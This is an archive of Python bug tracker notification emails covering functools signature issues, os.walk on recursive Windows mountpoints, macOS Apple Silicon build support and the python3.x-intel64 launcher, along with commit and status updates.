Subject: [issue44007] urlparse("host:123", "http") inconsistent between 3.8 and 3.9 In-Reply-To: <1619926177.78.0.708746826424.issue44007@roundup.psfhosted.org> Message-ID: <1619930090.98.0.645624161103.issue44007@roundup.psfhosted.org> Arcadiy Ivanov added the comment: I guess I'll work around this, thanks. ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 00:35:18 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 02 May 2021 04:35:18 +0000 Subject: [issue44003] functools.lru_cache omits __defaults__ attribute from wrapped function In-Reply-To: <1619898593.46.0.475516317903.issue44003@roundup.psfhosted.org> Message-ID: <1619930118.12.0.919815232732.issue44003@roundup.psfhosted.org> Gregory P. Smith added the comment: rejecting. code trying to make direct use of __defaults__ is likely better off using inspect.signature(). there might be an issue with inspect in some cases (https://bugs.python.org/issue41232) but I do not believe that is true for lru_cache wrapped things. ---------- resolution: -> rejected stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 00:36:05 2021 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 02 May 2021 04:36:05 +0000 Subject: [issue41232] Python `functools.wraps` doesn't deal with defaults correctly In-Reply-To: <1594159222.49.0.432639092165.issue41232@roundup.psfhosted.org> Message-ID: <1619930165.41.0.709934561493.issue41232@roundup.psfhosted.org> Jelle Zijlstra added the comment: That's because inspect.signature by default follows the `.__wrapped__` attribute, so it gives you the signature for the *wrapped* function. That behavior is occasionally problematic (I ran into it in the context of https://github.com/quora/pyanalyze/issues/82), but I don't think it can be safely changed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 00:42:50 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 02 May 2021 04:42:50 +0000 Subject: [issue41232] Python `functools.wraps` doesn't deal with defaults correctly In-Reply-To: <1594159222.49.0.432639092165.issue41232@roundup.psfhosted.org> Message-ID: <1619930570.29.0.530243368675.issue41232@roundup.psfhosted.org> Gregory P. Smith added the comment: That makes sense. It seems like we're missing information signature() would need to be able to differentiate between when it should default to follow .__wrapped__ vs when it shouldn't. Neither default can satisfy everyone. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 00:52:39 2021 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 02 May 2021 04:52:39 +0000 Subject: [issue41232] Python `functools.wraps` doesn't deal with defaults correctly In-Reply-To: <1594159222.49.0.432639092165.issue41232@roundup.psfhosted.org> Message-ID: <1619931159.44.0.995284665324.issue41232@roundup.psfhosted.org> Jelle Zijlstra added the comment: We could add a new argument to `@functools.wraps()` to differentiate between a wrapper with the same signature and one with a different signature. Here's a possible design: * functools.wraps adds a new keyword-only argument signature_changed. It defaults to False for backward compatibility. * If signature_changed is True: * __annotations__ are not copied * __wrapped__ is not set on the wrapping function. Instead, we set a new attribute __wrapped_with_changed_signature__ (that's a pretty terrible name, open to suggestions). This will make inspect.signature not look at the wrapped function. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 00:54:09 2021 From: report at bugs.python.org (R0b0t1) Date: Sun, 02 May 2021 04:54:09 +0000 Subject: [issue44008] os.walk and other directory traversal does not handle recursive mounts on Windows Message-ID: <1619931249.15.0.612440127198.issue44008@roundup.psfhosted.org> New submission from R0b0t1 : Using `os.walk` to traverse a filesystem on Windows does not terminate in the case of a recursive mountpoint existing somewhere in the path. In my case C:\circlemount is linked to C:\, producing paths such as C:\circlemount\circlemount\circlemount\circlemount\... A drive mount point may be set up as follows: ```diskpart (enters shell) list volume` select volume ${#}` assign mount=${path} ``` Notably this only happens for Win32 python. Cygwin and MSYS2 pythons as well as the pythons distributed with some packages like Inkscape behave properly. ---------- components: Windows messages: 392666 nosy: R0b0t1, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: os.walk and other directory traversal does not handle recursive mounts on Windows type: behavior versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 01:01:18 2021 From: report at bugs.python.org (Inada Naoki) Date: Sun, 02 May 2021 05:01:18 +0000 Subject: [issue43733] PEP 597: netrc uses locale encoding. In-Reply-To: <1617626810.53.0.0987972947565.issue43733@roundup.psfhosted.org> Message-ID: <1619931678.48.0.588865858474.issue43733@roundup.psfhosted.org> Inada Naoki added the comment: New changeset fd0bc7e7f4f2c7de98a1ebc7ad1ef65b8f8f7ad6 by Inada Naoki in branch 'master': bpo-43733: netrc try to use UTF-8 before using locale encoding. (GH-25781) https://github.com/python/cpython/commit/fd0bc7e7f4f2c7de98a1ebc7ad1ef65b8f8f7ad6 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 01:01:22 2021 From: report at bugs.python.org (Inada Naoki) Date: Sun, 02 May 2021 05:01:22 +0000 Subject: [issue43733] PEP 597: netrc uses locale encoding. In-Reply-To: <1617626810.53.0.0987972947565.issue43733@roundup.psfhosted.org> Message-ID: <1619931682.27.0.223862668902.issue43733@roundup.psfhosted.org> Change by Inada Naoki : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 01:53:32 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Sun, 02 May 2021 05:53:32 +0000 Subject: [issue43997] dataclasses documentation needs version added for match_args, kw_only, and slots Message-ID: <1619934812.18.0.534359180182.issue43997@roundup.psfhosted.org> Change by Shreyan Avigyan : ---------- nosy: +shreyanavigyan _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 02:04:28 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 02 May 2021 06:04:28 +0000 Subject: [issue44003] functools.lru_cache omits __defaults__ attribute from wrapped function In-Reply-To: <1619898593.46.0.475516317903.issue44003@roundup.psfhosted.org> Message-ID: <1619935468.55.0.276118182568.issue44003@roundup.psfhosted.org> Serhiy Storchaka added the comment: I meant that I looked up the code of functools.update_wrapper() and did not see that it sets the __defaults__ attribute. In your example in msg392643 you use functools.update_wrapper() incorrectly. The first argument is wrapper, and the second argument is wrapped. updated_x is func. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 02:07:22 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Sun, 02 May 2021 06:07:22 +0000 Subject: [issue43997] dataclasses documentation needs version added for match_args, kw_only, and slots Message-ID: <1619935642.37.0.918998372437.issue43997@roundup.psfhosted.org> Change by Shreyan Avigyan : ---------- keywords: +patch pull_requests: +24488 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/25803 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 03:23:23 2021 From: report at bugs.python.org (Ned Deily) Date: Sun, 02 May 2021 07:23:23 +0000 Subject: [issue44009] Provide "python3.x-intel64" command with macOS universal2 framework builds Message-ID: <1619940203.08.0.622779436946.issue44009@roundup.psfhosted.org> New submission from Ned Deily : On certain macOS configurations, it is possible to have a universal build (one that contains executables and libraries with binaries for more than one CPU architecture combined into "fat" files) where running with a choice of archs. Examples in the past included Intel-64 (x86_64) vs Intel-32 (i386) vs (in macOS 10.5 and 10.6) ppc (using Rosetta emulation. While it is possible to use the macOS arch utility to select a non-default arch for execution: arch -i386 /usr/local/bin/python3 this method does not handle the common case of a Python program spawning another Python subprocess (to run a test, say) by calling the subprocess module to execute the interpreter binary recorded in sys.executable, which only contains the interpreter executable file name, not the arch command. Thus the subprocess attempts to launch in the default arch for the configuration rather than the overriden arch, which may cause program failures or incorrect results. To get around this where appropriate, framework universal builds on macOS provided an additional 32-bit-only python3.x executable file, python3.x-32, that solves this problem: by invoking Python with python3.x-32, the main interpreter process runs in 32-bit mode and any spawned subprocesses using sys.executable will also run in 32-bit mode. With the introduction of Apple Silicon Macs and their support for running x86_64 Intel-64 binaries with Rosetta 2 emulation, the need to be able to force Python to run a non-default arch reliably is again important for the transition period while third-party packages are being ported or tested on the new arm64-based Macs. For example, there are some popular packages on PyPI that do not yet provide universal2 or just arm64 wheels but, by forcing Python to run in Intel mode, existing wheels can be tested and used. To that end, the PR for this issue adds a "python3.x-intel64" and "python3-intel64" executable or symlink, as needed, when installing a macOS "universal2" framework build, similar to the "python3.x-32" and "python3-32" links installed for macOS "intel" framework builds. An example: $ sw_vers ProductName: macOS ProductVersion: 11.3 BuildVersion: 20E232 $ uname -a Darwin pyb20 20.4.0 Darwin Kernel Version 20.4.0: Fri Mar 5 01:14:02 PST 2021; root:xnu-7195.101.1~3/RELEASE_ARM64_T8101 arm64 $ python3.8 -m pip install --only-binary ':all:' numpy ERROR: Could not find a version that satisfies the requirement numpy (from versions: none) ERROR: No matching distribution found for numpy $ python3.8-intel64 -m pip install --only-binary ':all:' numpy Collecting numpy Using cached numpy-1.20.2-cp38-cp38-macosx_10_9_x86_64.whl (16.0 MB) Installing collected packages: numpy Successfully installed numpy-1.20.2 Of course, for this to be useful assumes that running under Rosetta 2 emulation provides the correct results. Testing is advised! ---------- assignee: ned.deily components: macOS messages: 392669 nosy: ned.deily, ronaldoussoren priority: normal severity: normal status: open title: Provide "python3.x-intel64" command with macOS universal2 framework builds versions: Python 3.10, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 03:47:48 2021 From: report at bugs.python.org (Christian Heimes) Date: Sun, 02 May 2021 07:47:48 +0000 Subject: [issue43908] array.array should remain immutable: add Py_TPFLAGS_IMMUTABLETYPE flag In-Reply-To: <1619031139.87.0.55032170532.issue43908@roundup.psfhosted.org> Message-ID: <1619941668.81.0.427378561977.issue43908@roundup.psfhosted.org> Christian Heimes added the comment: New changeset 91554e4c5ca3c762998296522f854a7166ba84f0 by Christian Heimes in branch 'master': bpo-43908: Mark ssl, hash, and hmac types as immutable (GH-25792) https://github.com/python/cpython/commit/91554e4c5ca3c762998296522f854a7166ba84f0 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 03:50:00 2021 From: report at bugs.python.org (Ned Deily) Date: Sun, 02 May 2021 07:50:00 +0000 Subject: [issue44009] Provide "python3.x-intel64" command with macOS universal2 framework builds In-Reply-To: <1619940203.08.0.622779436946.issue44009@roundup.psfhosted.org> Message-ID: <1619941800.37.0.264522801532.issue44009@roundup.psfhosted.org> Change by Ned Deily : ---------- keywords: +patch pull_requests: +24489 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25804 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 04:04:06 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Sun, 02 May 2021 08:04:06 +0000 Subject: [issue43908] array.array should remain immutable: add Py_TPFLAGS_IMMUTABLETYPE flag In-Reply-To: <1619031139.87.0.55032170532.issue43908@roundup.psfhosted.org> Message-ID: <1619942646.9.0.121393917453.issue43908@roundup.psfhosted.org> Shreyan Avigyan added the comment: Should I apply the flags on other newly converted heap types? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 04:14:58 2021 From: report at bugs.python.org (Zackery Spytz) Date: Sun, 02 May 2021 08:14:58 +0000 Subject: [issue43990] In documentation Section 6.17, Operator precedence, footnotes 5 & 6 are reversed In-Reply-To: <1619804010.67.0.84044375696.issue43990@roundup.psfhosted.org> Message-ID: <1619943298.72.0.631029696635.issue43990@roundup.psfhosted.org> Change by Zackery Spytz : ---------- keywords: +patch nosy: +ZackerySpytz nosy_count: 2.0 -> 3.0 pull_requests: +24490 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25805 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 04:22:40 2021 From: report at bugs.python.org (Larry Hastings) Date: Sun, 02 May 2021 08:22:40 +0000 Subject: [issue43987] Add "Annotations Best Practices" to HOWTO In-Reply-To: <1619781973.9.0.643111119253.issue43987@roundup.psfhosted.org> Message-ID: <1619943760.0.0.382718033414.issue43987@roundup.psfhosted.org> Larry Hastings added the comment: Thanks to Jelle for an enormous amount of reviewing and re-reviewing! That was just spiffy. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 04:24:46 2021 From: report at bugs.python.org (Ned Deily) Date: Sun, 02 May 2021 08:24:46 +0000 Subject: [issue42504] Failure to build with MACOSX_DEPLOYMENT_TARGET=11 on Big Sur In-Reply-To: <1606662964.61.0.531913261121.issue42504@roundup.psfhosted.org> Message-ID: <1619943886.76.0.585973870665.issue42504@roundup.psfhosted.org> Change by Ned Deily : ---------- pull_requests: +24492 pull_request: https://github.com/python/cpython/pull/25806 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 04:24:46 2021 From: report at bugs.python.org (Ned Deily) Date: Sun, 02 May 2021 08:24:46 +0000 Subject: [issue41100] Support macOS 11 and Apple Silicon Macs In-Reply-To: <1592999467.1.0.372512113251.issue41100@roundup.psfhosted.org> Message-ID: <1619943886.46.0.711234316199.issue41100@roundup.psfhosted.org> Change by Ned Deily : ---------- pull_requests: +24491 pull_request: https://github.com/python/cpython/pull/25806 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 04:24:46 2021 From: report at bugs.python.org (Ned Deily) Date: Sun, 02 May 2021 08:24:46 +0000 Subject: [issue42688] ctypes memory error on Apple Silicon with external libffi In-Reply-To: <1608443574.61.0.0166938419217.issue42688@roundup.psfhosted.org> Message-ID: <1619943886.86.0.139770350268.issue42688@roundup.psfhosted.org> Change by Ned Deily : ---------- pull_requests: +24493 pull_request: https://github.com/python/cpython/pull/25806 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 04:24:49 2021 From: report at bugs.python.org (Christian Heimes) Date: Sun, 02 May 2021 08:24:49 +0000 Subject: [issue44004] test_nntplib is failing in all buildbots In-Reply-To: <1619900075.87.0.568727924353.issue44004@roundup.psfhosted.org> Message-ID: <1619943889.72.0.964140479539.issue44004@roundup.psfhosted.org> Christian Heimes added the comment: buildbots are ok again ---------- resolution: -> fixed stage: -> resolved status: open -> closed type: -> behavior versions: +Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 04:28:45 2021 From: report at bugs.python.org (Eryk Sun) Date: Sun, 02 May 2021 08:28:45 +0000 Subject: [issue23407] os.walk always follows Windows junctions In-Reply-To: <1423342763.81.0.179122512075.issue23407@psf.upfronthosting.co.za> Message-ID: <1619944125.77.0.679968680206.issue23407@roundup.psfhosted.org> Change by Eryk Sun : ---------- Removed message: https://bugs.python.org/msg389286 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 04:29:08 2021 From: report at bugs.python.org (Eryk Sun) Date: Sun, 02 May 2021 08:29:08 +0000 Subject: [issue23407] os.walk always follows Windows junctions In-Reply-To: <1423342763.81.0.179122512075.issue23407@psf.upfronthosting.co.za> Message-ID: <1619944148.12.0.369025626296.issue23407@roundup.psfhosted.org> Eryk Sun added the comment: Windows implements filesystem symlinks and mountpoints as name-surrogate reparse points. Python 3.8 introduced behavior changes to how reparse points are supported, but the stat st_mode value still sets S_IFLNK only for actual symlinks, not for mountpoints. This ensures that if os.path.islink() is true, it's safe to read its target and copy it via os.readlink() and os.symlink(). A mountpoint is not equivalent to a symlink in a few cases, so it shouldn't always be handled the same or copied as a symlink. The major difference is that mountpoints in a remote path are evaluated by the server, whereas symlinks in a remote path are evaluated by the client. Also, during path parsing, the target of a symlink replaces the opened path, but mountpoints are retained in the opened path (except if the target path contains a symlink, but that's broken in remote paths and should be avoided). This means that relative ".." components and rooted paths in a relative symlink target will traverse a mountpoint as if it's just a directory in the opened path. That's an important distinction, but in practice I'd steer someone away from relying on it, especially if a filesystem is mounted in multiple locations (e.g. on both a DOS drive and a directory), else resolution of the symlink will depend on which mountpoint is used. It's best to handle mountpoints as if they're symlinks when deleting a tree because the way they're implemented as reparse points doesn't prevent loops. However, when walking a tree, you may or may not want to traverse a mountpoint. If it's traversed, a seen set() can be used to remember previously traversed directories, in order to prevent loops. As Steve mentioned, look to the implementation of shutil.rmtree() as an example. However, don't look to shutil.copytree() since it's wrong. The is_symlink() method of a scandir() entry is only true for an actual symlink, not a mountpoint, so the extra check that copytree() does is redundant. I think it was left in by mistake when the plan was to handle mountpoints as symlinks. It would be nice if we could copy a mountpoint instead of traversing it in copytree(), but the private implementation of _winapi.CreateJunction() isn't well-behaved and tested enough to be promoted into the standard library as something like os.mount(). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 04:31:34 2021 From: report at bugs.python.org (Eryk Sun) Date: Sun, 02 May 2021 08:31:34 +0000 Subject: [issue44008] os.walk and other directory traversal does not handle recursive mounts on Windows In-Reply-To: <1619931249.15.0.612440127198.issue44008@roundup.psfhosted.org> Message-ID: <1619944294.21.0.25895872606.issue44008@roundup.psfhosted.org> Change by Eryk Sun : ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> os.walk always follows Windows junctions _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 04:43:30 2021 From: report at bugs.python.org (Ned Deily) Date: Sun, 02 May 2021 08:43:30 +0000 Subject: [issue41100] Support macOS 11 and Apple Silicon Macs In-Reply-To: <1592999467.1.0.372512113251.issue41100@roundup.psfhosted.org> Message-ID: <1619945010.63.0.0160351719517.issue41100@roundup.psfhosted.org> Ned Deily added the comment: Thanks, Max, for doing the backport to 3.8 hard work! While PR 25274 covered most of the changes needed, there were some additional fixes and changes needed and I felt it was easier to cherry-pick all of the changes into a new PR. I have done extensive building and testing on Big Sur on both Apple Silicon and Intel Macs and regression building and testing on some older macOS versions including macOS 10.9 and python.org macOS installers. So far, it looks good to me. Assuming the 3.8 release manager has no objections, I will merge this in time for 3.8.10 and we can finally close this issue. ---------- nosy: +lukasz.langa stage: patch review -> commit review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 04:48:39 2021 From: report at bugs.python.org (miss-islington) Date: Sun, 02 May 2021 08:48:39 +0000 Subject: [issue44009] Provide "python3.x-intel64" command with macOS universal2 framework builds In-Reply-To: <1619940203.08.0.622779436946.issue44009@roundup.psfhosted.org> Message-ID: <1619945319.17.0.731244195001.issue44009@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 2.0 -> 3.0 pull_requests: +24494 pull_request: https://github.com/python/cpython/pull/25807 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 04:48:54 2021 From: report at bugs.python.org (Ned Deily) Date: Sun, 02 May 2021 08:48:54 +0000 Subject: [issue44009] Provide "python3.x-intel64" command with macOS universal2 framework builds In-Reply-To: <1619940203.08.0.622779436946.issue44009@roundup.psfhosted.org> Message-ID: <1619945334.49.0.522096900232.issue44009@roundup.psfhosted.org> Ned Deily added the comment: New changeset 0cb33da1cc9cebb9b2d67d446feb1cfd36fe7f55 by Ned Deily in branch 'master': bpo-44009: Provide "python3.x-intel64" for Apple Silicon Macs (GH-25804) https://github.com/python/cpython/commit/0cb33da1cc9cebb9b2d67d446feb1cfd36fe7f55 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 04:58:31 2021 From: report at bugs.python.org (Ned Deily) Date: Sun, 02 May 2021 08:58:31 +0000 Subject: [issue41100] Support macOS 11 and Apple Silicon Macs In-Reply-To: <1592999467.1.0.372512113251.issue41100@roundup.psfhosted.org> Message-ID: <1619945911.02.0.922674832611.issue41100@roundup.psfhosted.org> Change by Ned Deily : ---------- pull_requests: +24495 stage: commit review -> patch review pull_request: https://github.com/python/cpython/pull/25808 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 05:10:24 2021 From: report at bugs.python.org (miss-islington) Date: Sun, 02 May 2021 09:10:24 +0000 Subject: [issue44009] Provide "python3.x-intel64" command with macOS universal2 framework builds In-Reply-To: <1619940203.08.0.622779436946.issue44009@roundup.psfhosted.org> Message-ID: <1619946624.73.0.0616017016847.issue44009@roundup.psfhosted.org> miss-islington added the comment: New changeset de0e3f8c16c13221dbca66b9496a302fd5749c37 by Miss Islington (bot) in branch '3.9': [3.9] bpo-44009: Provide "python3.x-intel64" for Apple Silicon Macs (GH-25804) (GH-25807) https://github.com/python/cpython/commit/de0e3f8c16c13221dbca66b9496a302fd5749c37 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 05:19:05 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Sun, 02 May 2021 09:19:05 +0000 Subject: [issue41100] Support macOS 11 and Apple Silicon Macs In-Reply-To: <1592999467.1.0.372512113251.issue41100@roundup.psfhosted.org> Message-ID: <1619947145.34.0.939557151463.issue41100@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset b29d0a5a7811418c0a1082ca188fd4850185e290 by Ned Deily in branch '3.8': [3.8] bpo-41100: Support macOS 11 Big Sur and Apple Silicon Macs (#25806) https://github.com/python/cpython/commit/b29d0a5a7811418c0a1082ca188fd4850185e290 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 05:19:05 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Sun, 02 May 2021 09:19:05 +0000 Subject: [issue42688] ctypes memory error on Apple Silicon with external libffi In-Reply-To: <1608443574.61.0.0166938419217.issue42688@roundup.psfhosted.org> Message-ID: <1619947145.19.0.845077578669.issue42688@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset b29d0a5a7811418c0a1082ca188fd4850185e290 by Ned Deily in branch '3.8': [3.8] bpo-41100: Support macOS 11 Big Sur and Apple Silicon Macs (#25806) https://github.com/python/cpython/commit/b29d0a5a7811418c0a1082ca188fd4850185e290 ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 05:19:05 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Sun, 02 May 2021 09:19:05 +0000 Subject: [issue41116] build on macOS 11 (beta) does not find system-supplied third-party libraries In-Reply-To: <1593100264.48.0.613850075185.issue41116@roundup.psfhosted.org> Message-ID: <1619947145.27.0.590478572079.issue41116@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset b29d0a5a7811418c0a1082ca188fd4850185e290 by Ned Deily in branch '3.8': [3.8] bpo-41100: Support macOS 11 Big Sur and Apple Silicon Macs (#25806) https://github.com/python/cpython/commit/b29d0a5a7811418c0a1082ca188fd4850185e290 ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 05:19:14 2021 From: report at bugs.python.org (Ned Deily) Date: Sun, 02 May 2021 09:19:14 +0000 Subject: [issue41100] Support macOS 11 and Apple Silicon Macs In-Reply-To: <1592999467.1.0.372512113251.issue41100@roundup.psfhosted.org> Message-ID: <1619947154.02.0.766228285041.issue41100@roundup.psfhosted.org> Ned Deily added the comment: New changeset 518f8b5dd50b73499282a1ef02b197af106ad118 by Ned Deily in branch 'master': bpo-41100: Update Misc/ACKS (GH-25808) https://github.com/python/cpython/commit/518f8b5dd50b73499282a1ef02b197af106ad118 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 05:19:16 2021 From: report at bugs.python.org (miss-islington) Date: Sun, 02 May 2021 09:19:16 +0000 Subject: [issue41100] Support macOS 11 and Apple Silicon Macs In-Reply-To: <1592999467.1.0.372512113251.issue41100@roundup.psfhosted.org> Message-ID: <1619947156.35.0.956285914693.issue41100@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24496 pull_request: https://github.com/python/cpython/pull/25809 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 05:19:05 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Sun, 02 May 2021 09:19:05 +0000 Subject: [issue42504] Failure to build with MACOSX_DEPLOYMENT_TARGET=11 on Big Sur In-Reply-To: <1606662964.61.0.531913261121.issue42504@roundup.psfhosted.org> Message-ID: <1619947145.49.0.46147573967.issue42504@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset b29d0a5a7811418c0a1082ca188fd4850185e290 by Ned Deily in branch '3.8': [3.8] bpo-41100: Support macOS 11 Big Sur and Apple Silicon Macs (#25806) https://github.com/python/cpython/commit/b29d0a5a7811418c0a1082ca188fd4850185e290 ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 05:25:48 2021 From: report at bugs.python.org (Ned Deily) Date: Sun, 02 May 2021 09:25:48 +0000 Subject: [issue41100] Support macOS 11 and Apple Silicon Macs In-Reply-To: <1592999467.1.0.372512113251.issue41100@roundup.psfhosted.org> Message-ID: <1619947548.71.0.0246177173098.issue41100@roundup.psfhosted.org> Ned Deily added the comment: New changeset bb3ec9ceae7032457f6e7fb72b39aee95976051c by Miss Islington (bot) in branch '3.9': bpo-41100: Update Misc/ACKS (GH-25808) (GH-25809) https://github.com/python/cpython/commit/bb3ec9ceae7032457f6e7fb72b39aee95976051c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 05:31:51 2021 From: report at bugs.python.org (Ned Deily) Date: Sun, 02 May 2021 09:31:51 +0000 Subject: [issue42504] Failure to build with MACOSX_DEPLOYMENT_TARGET=11 on Big Sur In-Reply-To: <1606662964.61.0.531913261121.issue42504@roundup.psfhosted.org> Message-ID: <1619947911.41.0.79410545279.issue42504@roundup.psfhosted.org> Change by Ned Deily : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 05:33:11 2021 From: report at bugs.python.org (Ned Deily) Date: Sun, 02 May 2021 09:33:11 +0000 Subject: [issue42688] ctypes memory error on Apple Silicon with external libffi In-Reply-To: <1608443574.61.0.0166938419217.issue42688@roundup.psfhosted.org> Message-ID: <1619947991.03.0.928487804326.issue42688@roundup.psfhosted.org> Change by Ned Deily : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.10, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 05:38:07 2021 From: report at bugs.python.org (Ned Deily) Date: Sun, 02 May 2021 09:38:07 +0000 Subject: [issue41116] build on macOS 11 (beta) does not find system-supplied third-party libraries In-Reply-To: <1593100264.48.0.613850075185.issue41116@roundup.psfhosted.org> Message-ID: <1619948287.78.0.0735163685917.issue41116@roundup.psfhosted.org> Change by Ned Deily : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 05:52:19 2021 From: report at bugs.python.org (Ned Deily) Date: Sun, 02 May 2021 09:52:19 +0000 Subject: [issue44009] Provide "python3.x-intel64" command with macOS universal2 framework builds In-Reply-To: <1619940203.08.0.622779436946.issue44009@roundup.psfhosted.org> Message-ID: <1619949139.02.0.823612247151.issue44009@roundup.psfhosted.org> Change by Ned Deily : ---------- pull_requests: +24497 pull_request: https://github.com/python/cpython/pull/25810 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 06:01:01 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Sun, 02 May 2021 10:01:01 +0000 Subject: [issue36384] [security] CVE-2021-29921: ipaddress Should not reject IPv4 addresses with leading zeroes as ambiguously octal In-Reply-To: <1553125209.55.0.0358803413865.issue36384@roundup.psfhosted.org> Message-ID: <1619949661.97.0.667887068663.issue36384@roundup.psfhosted.org> ?ukasz Langa added the comment: Due to the relative obscurity of the bug and potential disruption of the fix, I decided not to include it in 3.8. However, Micha?'s argument about 3.10 not being released for another five months is resonating with me and so we will be backporting the change to 3.9.5, to be released tomorrow. Victor's argument about opt-ins being a bad way to fix security also makes sense, although let me point out that we've made decisions the other way in the past as well, for instance with hash randomization. In any case, the issue will be solved in Python 3.10.0 Beta 1 and Python 3.9.5. Having the fixed behavior "in 3.9.5 and newer" makes for easy mechanical checks whether a given version is affected. ---------- assignee: docs at python -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 06:01:10 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Sun, 02 May 2021 10:01:10 +0000 Subject: [issue36384] [security] CVE-2021-29921: ipaddress Should not reject IPv4 addresses with leading zeroes as ambiguously octal In-Reply-To: <1553125209.55.0.0358803413865.issue36384@roundup.psfhosted.org> Message-ID: <1619949670.85.0.842910316801.issue36384@roundup.psfhosted.org> Change by ?ukasz Langa : ---------- versions: -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 06:33:29 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Sun, 02 May 2021 10:33:29 +0000 Subject: [issue43993] Update bundled pip to 21.1.1 In-Reply-To: <1619809188.59.0.0758758715434.issue43993@roundup.psfhosted.org> Message-ID: <1619951609.98.0.9860951928.issue43993@roundup.psfhosted.org> Change by ?ukasz Langa : ---------- resolution: -> fixed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 06:40:25 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Sun, 02 May 2021 10:40:25 +0000 Subject: [issue32745] ctypes string pointer fields should accept embedded null characters In-Reply-To: <1517514890.15.0.467229070634.issue32745@psf.upfronthosting.co.za> Message-ID: <1619952025.19.0.0736012677126.issue32745@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset 73766b0341674f3920f4ea86a6f8288b801960f9 by Zackery Spytz in branch 'master': bpo-32745: Fix a regression in the handling of ctypes' c_wchar_p type (#8721) 